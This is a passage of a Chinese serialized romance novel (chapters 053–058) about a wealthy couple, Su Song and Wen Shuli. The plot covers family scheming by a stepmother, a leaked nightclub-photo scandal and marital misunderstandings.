她当时是快两个月才发现怀孕的,宝宝是三个月才发现发育不好的。中间她瞒了一个多月。
奶奶说她单纯,但她也知道豪门深似海的道理。只是造化弄人,宝宝不想当她的宝宝,所以,所以,就没说了,后来不再提及。
。
温戍礼这会儿在医院,本来他都已经出发前往酒店了,可是陈曼曼打了电话过来,说那个肇事者来医院找事。
他可以不管陈曼曼的私事,但那个肇事者是他同寰宇的老总提过,大概是被开除了,才过去找事。于是他只能掉头去医院。
“我都说了私了,为什么还要让我们老总开除我?”那人已经被控制住,见到温戍礼激动地质问他。这个人也清楚,那个女人没有那个能力能让他被开除,是这个盛泰新上任的CEO搞的鬼!
053 有人被打,有人不心疼
温戍礼看到地上的水果刀,再去看陈曼曼,后者躲在病床上落泪,一张发白的小脸正对着他,两眼汪汪的,不说话,但似乎已经有千言万语一般。
女人的柔弱很容易唤起男人的保护欲。
温戍礼看着那个肇事者,说:“你有不满可以来盛泰找我,何必找一个女人出气。”
“我进得去吗?我已经被你害得进职场黑名单了,大企业全部都不会要我了。
都是这个女人害的,要不是他,我才不会这么惨,她该死!”说着,肇事者的腿还往陈曼曼那边踢,警察正好到达,一个警棍,让他的脚收了回去。
“啊——”肇事者发出哀嚎,同时已经被保安移交到警察手里。
温戍礼说:“盛泰你是进不去,但是牢房可以。你私下拿回扣,排挤掉盛泰的产品,还在行业抹黑我们,盛泰的法务部会起诉你。
至于你还用假印章私售寰宇的货物,寰宇那边也会追讨。
本来我也没想做到这么绝。”
被大企业封杀,又不是没有出路了,且,他还有资产消耗,现在……
温戍礼理了理袖口,银丝边眼镜泛着冷芒:“做好倾家荡产的准备吧。”
“不要!”肇事者一脸绝望的哀嚎,但为时已晚,等待他的不仅只是经济犯罪,还有肇事跟威胁!那人被押走,病房恢复清净。
温戍礼摘下眼镜,拿着布擦了擦。
陈曼曼说:“戍礼哥,他是不是会坐牢很久,我不用害怕他会再来害我是不是?”她一副后怕的样子,但那双圆溜溜的杏眼,明明透着喜出望外。
她在高兴什么呢,差点就被人刀了。不过高兴什么也不关他的事。
温戍礼将眼镜收起来,问:“昨天你为什么没走?”这是他的疑惑,陈曼曼出现在盛泰的时间,跟出事的时间,相差了两个多小时,他昨天有叫她走的。
面对温戍礼的发问,陈曼曼没有一丝慌乱,她将散落下来的发别到耳后。她的头发长长,长到腰际,又黑又直,此时更衬得她小脸没有血色,整个人像是被抽干血气的美人。
苍白,又脆弱。
她说:“我遇到我妈了。”
一句话,让温戍礼闭口不言。
豪门圈里没有善良,但有时候,也会有同病相怜的人,温戍礼对陈曼曼,就是。
因为他们都是父母离异,并且父亲很快就娶了别的的女人,又很快就给他们添加了弟弟,让他们成了家里多余的人。
又很巧,他们经历这些事的时候,都在同个时间段,所以纵使温戍礼这个人冷淡话少,不爱搭理异性,但遇到陈曼曼,也会难得软几分语气。
陈曼曼没有温戍礼那么幸运,她的母亲只是个普通人,父母离婚后,她成了家里多余那一个,陈家人不宠她,一心只想培养她当联姻工具。
所以当陈曼曼面对昨天那种情况,说不想让陈家人知道,向他寻求帮忙的时候,温戍礼帮了。
此时,病房有些安静,陈曼曼提起生母,却又不愿意再多说。一通电话,打破了这份诡异的静谧。
温戍礼拿出手机,是父亲温航之的来电。
“马上,过来!”
。
温家,温戍礼到的时候,才发现苏颂也在,他看着她,苏颂一脸郁闷,表示她也不知道发生什么事。
苏颂送奶奶去机场后,就回家补觉,结果睡到一半,就被林美丽叫过来了,当时林美丽的语气很不善。
“老公都要被人抢了,还有心思睡觉,该说你命好还是心大。快来家里,有事!”
苏颂偷偷瞄温戍礼,林美丽说他要被人抢了,他不是在公司忙吗?他说开车开到半路有急事,才没能去送奶奶的。
“王思哲的事情你要怎么做?”温航之一旦严肃起来,很有威严。他质问着长子。
温戍礼说:“起诉,证据都充足。损害名誉罪,也够了。”
苏颂表示不认识,也听不懂他们在说什么,对于温家的事,她插不上话,也自觉不插嘴。她开始放空自己,昨晚睡不了多久,现在补觉失败,脑子开始犯困,便有些神游天外。
“砰!”
忽然,重物落地的声音,吓了苏颂一跳,她猛地醒神,看到滚到她脚边的圆盘摆件。
纯金的长寿松,此时四分五裂。
苏颂眨了眨眼,大气不敢喘,结果又听到一个重磅消息。
“你都已经结婚了,陈曼曼怎么样都跟你没关系。”
等等,陈曼曼,这个名字好熟悉。
是温戍礼的白月光?!
苏颂猛地看过去,看到温戍礼面对盛怒的温航之,腰杆挺直,不卑不亢,没有慌乱,也没有意识到错的说:“跟她没关系。我是为了公司的名誉。”
“啪!”
硬骨头犟不过铁骨头。温戍礼被他爸用高尔夫球杆砸了。
出了血,场面才慌起来。林美丽让人叫医生,又假惺惺的劝说:“你怎么能出这么重的手。万一砸坏脑子怎么办。”
苏颂心里直呼好家伙,敢情打轻就能打,现在她还想要温戍礼变傻子吗。
本来还有点心疼,结果林美丽又接着说下一句:“戍礼,要不是我及时得到消息,那些照片现在就上热搜了,你们以前怎么样没关系,但你现在已婚了!”
什么?温戍礼出轨被拍了吗?苏颂瞧他,结果跟他的眼神碰个正着,后者眼神含凶,好像在警告她别胡思乱想。
他都能做,还被拍了,还不让她想。苏颂在一瞬间冒出恶劣的想法,变成傻子就不会这么凶了。
但想归想,手上却主动给他递手帕。
“擦擦。温泰来了,别让他笑话。”都说家丑不外扬。她跟温戍礼怎么着,都不能让这对母子看笑话。
“你现在是盛泰的执行总裁,代表的是盛泰以及温家,一举一动都会产生大影响。万一这事闹大了,重则还会影响公司股票。”
“你一向稳重,这事怎么能这么不小心。也不知道遮掩一点。”
林美丽一句接一句,俨然一位长辈在教训晚辈,苏颂察觉到她时不时瞄过来的眼神,暗示的意思很明显——林美丽在挑拨他们的关系。
054 弟弟假惺惺,最毒继母心
这两天,苏颂一直觉得林美丽不对劲,又是张罗饭局宴请她奶奶,又是对她赞不绝口的,事出反常必有妖,加上温泰好了之后竟然没有找她麻烦,太奇怪了。
苏颂想不明白林美丽的意图,但这会有个想法隐隐约约的,就快要在她脑子里浮现出来的时候,温泰过来了。
“大哥怎么受伤了。”温泰一走近就对温戍礼开腔,“还是伤在头上,跟我前阵子一样,看起来好像都是被砸了。”
这不是明知故问吗?伤口还在冒血呢。
就在苏颂怀疑这是他们一家三口唱的三簧戏,报复温戍礼的时候,林美丽又开口。
林美丽说:“我知道你是着急公司的事情。
你要是不放心把公司交给戍礼管,那就让温泰去帮他大哥好了,反正他的伤也养好了,而且他进公司早,对集团内部事务更熟悉。有什么事也能提醒一下戍礼。”
于是,事情的最后,就变成温泰回盛泰上班,官复原职。
两人走过前院的石子路,苏颂忽然恍然大悟的说:“难怪她夸我,原来是要在爸面前刷好感,让爸觉得她真的是一视同仁,为她今天说的话增加可行性。”
林美丽在苏凤面前夸她,保留了亲家之间的体面,又体现出她对温戍礼的重视,所以今天她踩温戍礼就不会让人觉得她是在拉踩,而是会以为她真的是在就事论事。
“便宜温泰了!”
原本事情的起因就是温戍礼不对,结果却让温泰那个色胚获利。等等,温戍礼他是做什么事不对了?
苏颂觉得自己一进温家的大门,脑子就有点不够用,她刚才一心想明哲保身都没太听,只记得林美丽叫她过来,不是说盛泰的事情啊。
“你想了这么久,就在想这个?”温戍礼开口,看起来整个人都是低气压的不高兴,“就没有别的想问的?”
苏颂的脑子一碰撞,思路瞬间捋直了,脱口而出:“你出轨了?”
“没有。”
“那天那个你要带回家的女人?”
“被拍是我跟她,不过不是……”
“原来她就是陈曼曼啊!”
“你能不能听我说完。”
温戍礼的语气重了,苏颂也闭嘴了,改而点点头。
看她低眉顺眼的样子,他吐出一口浊气,被林美丽怎么设计他都没气,这会却被她的态度气到了。
什么叫他出轨?她对他就没有半点夫妻之间的信任吗?
“第一,她是陈曼曼,我不知道你有没有听到我跟她什么传言,但我可以肯定告诉你,都是假的。
第二,被偷拍的时候,是她出车祸了,正好在盛泰门口,我怕事情耽误久了,影响到公司形象。
第三,不管是我送她去医院,还是那天带她一起回去,都是因为公事。她男朋友,就是苏氏新上任的经理人。”
温戍礼拆开给她一条一条回答,他很少给人解释什么,但这会却条理分明,就是不想她误会。
哪知道她呆呆的,还有点傻乎乎的,只说了个“哦”字。
温戍礼这三十二年来的耐心被挑战到了极点,他气得两手叉腰,语气无可奈何的说:“你是我太太,你有任何不解,都可以直接问。”别搞得一副毫不在意的样子,这样让他身为丈夫感到很挫败。
“那你昨天跟她在医院,就是因为她出车祸送她去,是吗?”
“是。你昨天有去医院?”温戍礼马上就想到她昨天痛经,难受到躲在房间哭的样子,“看到我了,为什么不叫我?”
“我给你打电话了。”
场面,一瞬间的静谧,安静到草地里的昆虫的叫声都能听到。
温戍礼记得,昨天她是给自己打过电话,并且之前阿姨也打过一个,他稍微联想就明白了,阿姨给他打电话,大概是要说苏颂人难受,想让他回来送医院,结果他正忙着送陈曼曼去医院,还很不凑巧的,给自己去医院的苏颂碰见了。
误会有时候就是一系列的凑巧造成的。
“抱歉!”温戍礼放下手,没了刚才的理直气壮。
“你最近道歉得有点频繁。”两人继续走着。
“错了就该道歉。”温戍礼看着身边安分娴静的妻子,说,“你要是占理,你也可以直接要求我道歉。”不需要委屈自己忍着。
也不需要这么乖。
见过她跟朋友一起开怀大笑的样子,他知道,她原本应该也是个开朗的女孩。
嫁给他,并不一定就要当贤妻。
“今晚的事情我解释了,包括最近的,你都清楚了?”
苏颂点头:“嗯。”
“不误会了?”
“嗯。”
“那你怎么想?”
“还是便宜温泰了。”
温戍礼:“……”
。
温家二楼,林美丽站在玻璃窗前,目光恶毒的盯着温戍礼跟苏颂两人的身影,直到他们上车。
茶几旁的温泰,将那些照片看了又看,很不满地说:“你干嘛不让人把照片发出去?这些角度拍得多好,要是被陈家人见到了,温戍礼就精彩了,搞不准真得跟苏颂离。”
要是苏颂跟温戍礼离了,那他就有机会了,他就不信,没了温戍礼保护,苏颂还反抗得了他。
温泰色眯眯的想着,再瞧桌面上那些照片,恨不得把这些立刻传到网上去。
林美丽拿起一张照片,画面里,温戍礼打横抱着一个身材曼妙的女人,长发遮住了女人大半的脸,透出一种犹抱琵琶半遮面的美。
不得不说,拍照的人,把角度抓得很好。帅气的男人,漂亮的女人,公主抱,仅凭照片,暧昧的气息都快冲出来。绯闻就是这样来的,不知全貌的事情,全靠一张图臆想。
林美丽冷笑:“就这样离了,也太便宜苏颂了。”
一听这话,温泰也来了兴致:“妈,你要对她出手了?”
“哼,她扮猪吃虎,把我耍得团团转,让我差点失去你爸的信任,还让我压住温戍礼多年,不让他进盛泰的计划都破坏了。
就算要离婚,她苏颂也得剥层皮下来,我才解气!”
手上用力,长长的美甲刺破褶皱的照片,穿过里面的人的心脏。
055 骂老婆不行,骂老爹,可以不计较
有温戍礼的钞能力,闫丽的店三天就恢复了,不过苏颂还是察觉到了:“丽姐,店里怎么一股新装修的味?”好像不是改了一点,像是全屋整改的一样,味重。
闫丽摇着扇,她早就想好理由,说:“升级就是重新再装呗。”
“可是你的店才开没多久,没必要这样浪费钱。”
闫丽才不管,花的又不是她的钱,她使劲造呢。
“舍得花钱才能赚钱。嗳,跟你这种天生大小姐也说不明白。怎么,今天又有什么事,需要姐姐给你分析。”
“没有,哪有那么多事。
只要他不对我阴阳怪气的,我们保持基本的客气就什么事都没有。”
看得出来苏颂的状态很不错,不像之前那样颓靡不振,很有精神气。
“他改性了?”费尽心思赶她走,又花重金把她请回来,还让她别给苏颂知道,这么为苏颂考虑,让闫丽觉得奇怪。
苏颂说:“不是,原来他一直都误会,当年是我故意拿掉孩子。”她根本不会想到,自己做完人流,跟奶奶的通话,会被回家的他听见。
闫丽很吃惊,问道:“你还怀过孕?”
苏颂眨巴眼睛,不解的说:“我不是跟你聊天的时候说过?对了,我怎么跟你说完,我跟他有过一个宝宝,你就不回我了?”
前两天苏颂痛经,加上心情不好,一直很想找闫丽聊天,可闫丽前阵子都不接她电话,聊天也是时回时不回的,苏颂以为她很忙,就不好意思老是发消息给她。
“我以为你会多问我一些。”她当时真的很想有人聊天,说起那件事,一是说到孩子了,再者这件事一直压在她心底,之前是闫丽没来南城,没人可以倾诉,苏颂提起那会是想把这件事倾诉给闫丽听的。
以为按照闫丽的性子应该会追问,结果,不回她了。到现在三天了,两人的聊天框还停留在这条消息上。
闫丽转动一下眼珠子,她的号是补回来了,但是她还没重新登录账号,有人用她的号?顾辽舟?还是……温戍礼?
“你为什么打掉你们的孩子?”
跟温戍礼的心结已经解开了,再说起这件事,苏颂有种释怀的感受,她没有落泪,说到最后,只用一句“缘分不到”,终于走出困扰她两年的心魔。
打掉宝宝,不是她狠心,更不是她的错,温戍礼说,这是对一条新生命的负责,她的决定是对的。
闫丽听后安慰:“母爱是伟大的。你还年轻,就你们这么造,说不定明年就当爸妈了。”
“你又开我玩笑。”
苏颂佯装生气,闫丽笑得更开心了,说:“在我面前就别装了,都不知道当年那个赖在我店里不想回家,还扬言说要点男模的人是谁了。
承认你从小就好男色吧,看见帅哥就走不动道。
遇到李斯俊就夸他好看,后来认识小周就夸人家像漫画里走出来的男主角,差点没把李斯俊气死。”
两人嘻嘻哈哈的,被对面的温戍礼跟顾辽舟看在眼里。
顾辽舟瞧着已经站在窗边看了好一阵的好友,忍不住打趣:“在家还没看够,非得这样出来秀恩爱?”
隔街相看,还真有意境。不过苏颂没有看过来就是,更像是温戍礼在单相思。
“我想起来有个景点叫望夫石,你现在这样就像,不过你这得叫望妻石。”顾辽舟笑得太大声,成功引起窗边人的注意。
温戍礼淡淡地说:“恩爱是秀给人看的,我顶多是在撒狗粮。”他在沙发上坐下来,一旁的顾辽舟像是被下了定身术,不动了。
温戍礼却故意问他:“笑啊,继续笑啊,怎么不继续笑了。”
顾辽舟“啪”的打了一下自己的嘴,麻溜的承认错误:“刚才是我嘴瓢了。”
温戍礼心中烦躁,没心思跟顾辽舟插科打诨,问:“闫丽背后的男人查到了吗?”
说起这个事,顾辽舟难得严肃起来:“没有。你真的这么肯定她背后是个男人?
我可是把南城所有有头有脸的人都查过了,没有一个跟闫丽有交集了。
除了我们顾家人的手伸不到的,但那些是凤毛麟角了,能到那种咖位的人,怎么会瞧得上这种风尘女。”
关于闫丽的底他都已经起清楚了,一个靠开夜店为生的女人。这种女人交际不简单,但不会有男人真上心的。
“如果她的背后是女人,合作是各取所需,可她开这家店,能提供给对方什么需求?求财还不如她之前在云城的夜店。求其他,她在这边毫无人脉,又能提供什么。
英雄难过美人关。”温戍礼敲着沙发的真皮,还是肯定自己的猜测,“逢场作戏,不会需要金屋藏娇。她背后肯定是个男人,并且这个男人很重视她。”
从商业角度上,顾辽舟对温戍礼的判断是绝对没有异议的,但在男女关系上,他一向自认比温戍礼懂。
“你的意思是,闫丽背后可能是我查不到那些人。不可能,身份地位越是高的人,越是瞧不上这种女人。”就闫丽的阅历,说实话,顾辽舟要是是在闫丽的夜店认识她的,绝对不会多看一眼,不管她再漂亮。
因为他自己就是开这个的,知道这一行多难混,接触的人多复杂,一个女人在这行混得下去,说难听的,不知道得跟多少男人厮混。不干净一回事,一旦沾上,还可能惹麻烦。
顾辽舟很是肯定的否决。温戍礼却为自己的太太喜欢跟这样的人来往觉得头疼,他扶一下额头,结果碰到伤口,真头疼了!
“查不到就先放一放,我最近要先弄温泰。”
敢伤他?这些年,他对那母子三个的煽风点火,都是睁一只眼闭一只眼,因为他知道他爸顾及他外公家,肯定不会真的拿他怎么样,但现在他们居然煽动到他爸动手了。
顾辽舟上次已经收拾过温泰,当然不可能让温泰复活。他在手机上一边操作,一边说:“那个女人的底难查,你这个弟弟的,可就是一句话的事,到处拉的都是屎。我问问那些夜场的女人,就能抖一箩。
也就你爸眼瞎——”
056 好太太是个夜店小辣妹?
顾辽舟的话戛然而止,温戍礼被伤口扯得神经疼,正闭眼忍受这阵脑子里的痛感,听到顾辽舟说到一半突然停下,道:“你说我爸,我不会跟你计较。”
“不是啊,是嫂子……”
“说她不行!”
敢情是老爹随便骂,老婆就不行?
温戍礼睁开眼睛,顾辽舟已经拿着手机换到他身旁坐。
顾辽舟指着手机屏幕,不可置信的样子,问:“你看,这是不是嫂子?”
照片有些朦胧,但同床三年的枕边人,又怎么会认不出。
是苏颂。
温戍礼一张一张照片的翻,把年少的苏颂几乎要刻在脑子里,但跟她勾肩搭背的男生,也被他刻了进去。
来南城之前的苏颂,有男朋友?
“靠,这里面说嫂子以前经常去夜店,这是那个女人那家店,我的人传回来的资料上有。”
“戍礼,里面还直接说……”
“说什么?”温戍礼的拳头已经硬了。
他看到别的男性,居然搂住他的老婆,男人的占有欲与生俱来,不管是过去还是以后,只要这个女人身上有他的标签,就绝对不准许别的男性靠近!
“说照片上的女生就是温家长媳,你老婆。还说嫂子是夜店小辣妹功夫深,换个地方就成功。说你是冤大头。”
“咔嚓!”边上的装修物被折断了,顾辽舟也闭嘴了。
。
关于苏颂的新闻,很快就上热搜第一,毕竟豪门的瓜不容易吃到,吃到就是大瓜,普通大众的好奇心,就是事件的热度。
苏颂做梦都想不到,她十八九岁做的事情,在二十四岁这时还会被扒拉出来。
“我早说了,女孩子要洁身自爱,你偏要叛逆,甚至还闹离家出走。现在好了,你以为你只是玩一下,结果被说成是不正经。都跟你说了,女人的名声最重要,最重要!
都是那个叫闫丽的女人害的,我当时就不应该心软,就该直接让她倒闭。”
从小到大,苏颂没有违逆过家里人,她乖顺懂事,一直到十八岁,长期压抑自己的她,在被奶奶训斥之后,萌生想要寻找刺激,想要狂欢放纵的心思,她走进了闫丽的店。
后来,闫丽就成了她奶奶口中的坏女人,心头刺。
苏颂给苏凤打电话,不是要听责备,更不是要听她骂闫丽。她是真慌了:“奶奶,怎么办?”
苏颂回到家,知道的时候,觉得天都塌了。消息还是阿姨支支吾吾告诉她她才知道自己上热搜了。这么高的热度,温家人肯定都知道了。
十八岁的苏颂夜不归宿觉得很酷,现在却怕了。
她快哭了:“奶奶,我公公会打人的。”
“啪嗒!”家里的门被打开了,苏颂望着玄关,心都提起来了。
“他温航之敢!你也不用怕,这种事,温家肯定会第一时间处理,他们比你还怕丢人。
我早说了,叫你别叛逆,别做以后会后悔的事情……”
苏颂已经听不清她奶奶说什么了,因为她看到温戍礼回来了,他冰冷的眼,正瞧着她。
伴随着他抬眸,苏颂手尖一颤,手机便滑落下来。
“干了什么,这么害怕。”男人走过来,帮她把手机捡起来,他看到了来电显示。
在苏颂震惊害怕的目光下,温戍礼将手机拿到自己耳边。苏颂听不见她奶奶说什么了,但她也说不出话来,她整个人好像都僵硬住了,动不了。
她只能看着他,听见他说:“奶奶,你在说什么事?苏颂怎么会上热搜?”
温戍礼当作什么都不知道的回家,假装听苏凤说了才知道,等他一通电话出去,热搜上很快就没有苏颂的新闻了。
温戍礼让人撤热搜后,回头看到苏颂坐在沙发里,不像平时那般腰杆挺直,她耷拉着脑袋,像一朵被打焉的花。
这也是他第一次知道,她的太太不是清纯的百合花,竟然还是带刺的蔷薇。
“我已经处理好了。如果有人问,你就说不是你就好了。”说完,他就要回房间,身后的苏颂却叫住他。
“你怎么突然回来了?你看到了是不是?”苏颂不知道哪来的勇气,也许这会有种破罐子摔碎的意思。
温戍礼一手插在兜里,侧身回头看着她,喉结微动,开了口:“不知道怎么面对你。”
。
身为温家的太太,自然没人敢来问苏颂,热搜上,那个在夜店跳舞,那个跟男生搂搂抱抱的人是不是你。而苏颂窝在家里几天不出门,温家人也没有一个来质问,要不是她跟温戍礼又陷入冷战之中,苏颂可能真会忘了这件事。
温戍礼又好几天没回来了。
苏颂摸了摸空荡荡的床,眼睛适应了一会房间的昏暗,沉沉的脑子才辨别出来,她这是一觉睡到傍晚了。
冬天的天总是容易天黑,傍晚五点,他今天下班会回来吗?
苏颂这几天都是在这种忐忑的煎熬里等待,一方面希望丈夫回家,另一方面,又害怕发生争吵。
吵,是吵不起来的,苏颂不会跟温戍礼吵,这件事是她不对,更不敢,但是一直遭受他的冷嘲热讽,阴阳怪气,很折磨人。
她也不知道自己到底希望他回来还是不希望他回来。无头绪的时候,她习惯性向闫丽求助,发出消息。
【丽姐,怎么办?】
那天后来闫丽也给她打了电话,她跟闫丽说温戍礼处理好了,闫丽说算他还是男人。
【这次,我们真的要完了】
收到消息的时候,温戍礼正在办公室,看到苏颂又给闫丽发信息,他的第一反应就是恼火。
她就是被这个女人带坏的,结果现在被害成这样,还是想着跟这个女人联系。
什么都想跟这个女人说,对他这个丈夫却什么事都瞒着,这让他感到被忽视。
温戍礼正想把她拉黑,第二条消息进来。
他看着那几个字,很久。
温泰推门进来,一进门就放屁:“去了新加坡几天,伤口还没好啊!爸这次这么舍得打?”
温戍礼放下手机,闻言,扫他一眼,语气听不出喜怒的说:“躺一个月还不过瘾的话,我可以让你躺一辈子。
057 空降热搜,苏颂表示不要不要
“大哥养你。”他一手搭着文件,一手拿着钢笔,银丝边眼镜,闪着寒芒,让那双眼睛比平常看起来更怵人。
一句话让温泰的脸青紫交接,本来他们母子俩都信誓旦旦的,觉得他们把温戍礼成功踩在脚下,以后温家绝大部分都会是他们的,结果,打一开始,温家就是温戍礼的!
这就像明明看着要到嘴的鸭子,结果却飞了一样,心情怎么可能好。温泰不甘心,所以跟他妈最近没少鼓动他爸,第一次让他爸真的打了温戍礼。
可现在,温泰怕温戍礼也是真的,上次那顿打真的让他有心理阴影了。
“我有手有脚,不用你养。”温泰不情不愿的将合同交上去,没办法,虽然他先进盛泰,但他现在就是一个部门总经理,最终还是要温戍礼签字。
讨不到好处,温泰没兴趣多待,临走前又回头,说:“对了,大嫂最近还好吗?想不到大嫂以前玩的挺开的。”
说完,人便出门。门口,温泰面露阴狠,凶恶的说:“我看你还能装大度多久。新加坡的合同早就签完了,还出差,明显就是嫌弃苏颂了。”
想到苏颂就要被抛弃,他阴冷一笑:“苏颂,到时候,我要你来求我。”
。
苏颂给闫丽发消息没回,自己在家又一直忍不住看时间,可是温戍礼还是没回来。等待太折磨人了,她坐立不安,还是来找闫丽了。
这个时间,闫丽店里也忙,苏颂就坐在角落里,喝了几杯血腥玛丽,脑子已经开始放空。
“美女,可以跟你拼桌吗?”
苏颂回神,看到一个高个子男人,明显是来搭讪的。
“先生,那边有空桌了,我们这里注重给客人制造空间,不拼桌。”闫丽客气又礼貌的将人请走,而后才来找苏颂。
“你要不要到办公室里面坐?”闫丽问。
苏颂摇头:“我不想一个人待着了。”她最近待到害怕了,现在就想接触一下人气。
“看来新装修后,生意好多了。连这种优质男性都选择来你这里了。”苏颂比了比自己身上的衣服,暗示那个男人穿的不菲。
闫丽晃着脑袋笑,她还用温戍礼的钱打广告了,能不爆吗?
“你姐姐我就是个做生意的料。”闫丽抬了抬眉毛,很自信的说。
见她眉飞色舞的样子,苏颂也被她传染到了笑意。
为什么她会跟闫丽合得来呢?也许就因为闫丽身上有她没有的洒脱自由吧。好像没有什么事能困住闫丽,她看到过闫丽一个人面对街霸,被打伤了,还能对她笑着说“快回家去,今晚不开店”。
当时闫丽笑的时候,她反而在哭,她哭自己没能力,哭自己胆小,不敢上去帮忙。也就是那一次,她们从店老板跟客人的关系,变成了可以说说话的人。
苏颂也看到过闫丽被一群女人羞辱,骂她贱,说她是骚货,还扯坏她的衣服拍照传上网,可一转身,碰上从转角走过来的苏颂。
那时的苏颂很尴尬,不知道怎么面对闫丽,她还没有从自己单纯的圈子里走出,不明白闫丽为什么要抢人家的男朋友,在她内心挣扎的时候,闫丽又笑了。
她说:“小颂颂,你记住,男人,这个不好,下一个更乖,永远不要因为一个男人,把自己变得面目全非,甚至搭上自己的未来。”
隔天,她就把监控交给警察,把那些小太妹全告了。
那会,苏颂才知道,闫丽根本就没有抢人家的男朋友,是那些女人单恋那个男人,见不得那个男人跟闫丽走得近。
而那个男人,后来成了闫丽的第三恋。
“丽姐,蓝湛跟你分手的时候,你怎么过来的?”
爱过的人,不管怎么掩饰,都会有痕迹。苏颂注意到,闫丽的笑淡了些:“就继续那样过呗,难道,还有人离了谁不能活的吗?”
“怎么,你想跟他离了?”
苏颂摇摇头:“这事的主动权不在我,在他。哎哟,痛。”
闫丽敲了一下苏颂的脑袋,恨铁不成钢的说:“姐都白教你了,在感情里,不抓住主动权,你投入什么感情?把心给人家伤?
永远不要为一个男人去伤神。”
苏颂摸摸脑袋,小声嘀咕:“你还不是为了蓝湛哭。”
当时苏颂的父亲突发意外走了,奶奶上了年纪,承受不住,也病倒了,苏颂照顾奶奶,还被奶奶发泄责骂,心里又委屈又痛苦的她,一路茫然的走着,结果又走到闫丽的店门口。
当时还是上午,店里还没营业,却开了半边门。苏颂好奇走过去,刚到门口,就看到蹲在墙角哭的闫丽。
那会,她才知道,再强的人也会哭。她发现自己的苦恼也没那么大事了。
为了照顾闫丽的面子,她没有进去,过一段时间,她才知道,是蓝湛跟闫丽分手了,不过那时候闫丽已经走出来了,而她也开始学着扛起苏家,帮奶奶分担,很少去闫丽的店里了,只在后来,要来南城的时候,去跟闫丽道别。
于苏颂而言,闫丽是她叛逆时期的开导者,是她青春迷茫时的引路人,说很重要也谈不上,毕竟如果闫丽没有来南城,她们没有再相遇,那么她们会成为彼此心里的过往,也许下半生都不会再联系。
但既然再见,关系深入,是必然。
原以为闫丽会尴尬,哪知道她只是笑得更深,说:“哭是因为他死了啊!”
这一瞬间,苏颂不说话了。
蓝湛,死了吗?
她没有问闫丽说的是真是假,因为温戍礼打电话过来了。还没等她接听,电话就停了。
闫丽说:“快回去吧。你也不用想得太复杂,谁年少的时候没有几个好朋友,你就是跟小周玩得来,忘了分寸而已。
跟他解释解释就好了,你该担心的,是谁要针对你,费尽心思把你几年前的事情都扒拉出来,让你老公帮你查。”
闫丽推着苏颂到门口,赶着她走。
苏颂已经好几天没见到温戍礼了,一见时间已经过了十一点,快速上车赶回去。
苏颂一走,闫丽唇角的笑便消失了,她望着天上,怔怔出神。
058 是女士,人家已婚
时间是往前走的,不管苏颂再怎么叫人开快,怎么急着赶回,到家也快十二点了。
客厅的灯全亮着,温戍礼坐在沙发里,就连阿姨也起来了,站在一旁。
顿时,她察觉到了不对劲,她走近,就听到温戍礼说。
“我请你来,用高于市场价2倍的价钱,不是让你在我老婆还没忙完回家,你就先休息的。”
是他一贯平稳语气,但他一旦一句话都用一个语调,就说明他生气了。
苏颂不想他责备阿姨,走前一步说:“阿姨不知道我出去。”
温戍礼看她一眼,片刻,对阿姨说:“你先回房。”
阿姨赶紧离开。
“说说,有什么重要的事情,这么晚还没回家?”他起身,走过来。
苏颂说不出来。
“还喝酒了。”他的脚步顿住,目光变得有些锐利,瞧得苏颂想往后躲。
可她退,他进。
“整个圈子里都说我娶了一个小家碧玉的好老婆。苏颂,你还有多少是我不知道的。”
苏颂被逼得无路可退,人已经贴在墙上,连忙解释说:“不是网上说的那样的。照片也是角度问题,我跟正焕就是朋友,我们之间是清白的
我,我跟你结婚那晚,是第一次,你不也知道吗?”她有些难以启齿地咬唇,音调低了下来。
他淡道:“所以我让人平息了这件事。”
苏颂以为解释他就能明白,结果又听见他阴阳怪气的语气,瞬间酒劲都涌上来,让她有前所未有的勇气反驳。
“你根本不是因为在意我,你就是在意温家的名声,既然你都不爱我,那你管我跟谁走得近。”一口气说完,她还喘着气,不知道是酒精作用,还是在生气。
“我不在意你?你真以为热度闹得那么大,就是一句话的事情。
我出差几天,你既然没做亏心事为什么没想过跟我解释?”一通电话都没有,他甚至等着她的信息。
焦躁的心情在回到家,没看到她人影的时候到达顶峰,这会,他想要她共通他的怒火,于是,他捧住她的脸,直接吻上去。
他的吻猛烈又热炙,不同于这三年无数个夜晚,在床上的时候,他很少吻她的唇。这个吻,没让她想起来那些温存,倒是让她想起那次在苏氏。于是她开始推他,推不动,又开始用脚,她踢他,嘴被堵住,话语都变成“啊呜”声。
最后,是温戍礼放开她。他单手捧着她,目光深邃,还有情后的缠绵,他开口:“苏颂,你又在意过我吗?”
不知为何,苏颂竟然听出他话里带着伤感。
伤感?他会吗?
他推开半步,语气疲倦:“我承受着多少你永远不知道。”他揉着额头,说,“算了,免得你又以为我在羞辱你。”
三天赶了个来回,期间还要面对那些老奸巨猾的商界老油条,说是身心疲倦都不为过,结果回到家还不清心。第一次,他到家了,还选择走的。
他拿起一旁的外套,侧身回头,说:“门禁是你定的。我回家只想清静一下,但你好像没办法让我静心下来。既然你一再违反规则,那我也不必遵守了。”
“不是。”苏颂急得抓住他的手臂,“我不是故意的,我以为你不回来了,我也不知道你是去出差,我以为你还在生我的气。”此刻,她并不想他走。
温戍礼却说:“苏颂,我们冷静下来,都好好想想。”他拿开她的手,抬步离开。
苏颂顺着墙壁,身体慢慢滑落下去,最后蹲在那,两手抱着自己的头,不知道哭没哭。
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十八岁的苏颂,被闫丽上了一课。
那个美艳不可方物的女老板,面对男客人的挑逗调戏,站在吧台内,吐着烟,明明她处于弱势,可她在那瞬间比谁都高傲。
她说:“男人喜欢说‘爱’来打动女人,却不会一直付出‘爱’去留住女人。
所以男人说‘真心’,我只会听成垃圾。”
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King会所,顾辽舟觉得头很大,超级大。他时不时的张望,看到包厢里的服务员出来,赶紧抓了人问:“里面怎么样?”
那服务员脸红着说:“那位小姐喝得有点多,误以为我是少爷。后来又说要点我们这里最帅的男模,还要八个。”服务员比了个“八”的手势,手还在抖。
顾辽舟见状,头更大了,这个苏颂到底怎么骚扰他的员工了,把这涉世未深的小子都迷激动了。
可她自己想死别拖着他啊!于是他义正言辞的纠正这个年轻的服务员的用词:“是女士,人家已婚,老公还是很不能惹的。别思春了,耳朵都红了。干事去,叫个女的过来照顾。”
他脚一踢,就把人踢走了。
可是站在原地的顾辽舟双手叉腰,在苏颂进门那一刻,他就通知温戍礼了,结果那人没回。于是他又打电话,哪知道温戍礼一句“有事,让他看着她”就挂了。
对于通话已经过去一个小时,苏颂都喝醉了,温戍礼还没来。
顾辽舟察觉到了这对夫妻之间的暗流涌动,他不想参与,可是偏偏苏颂来了他这里。
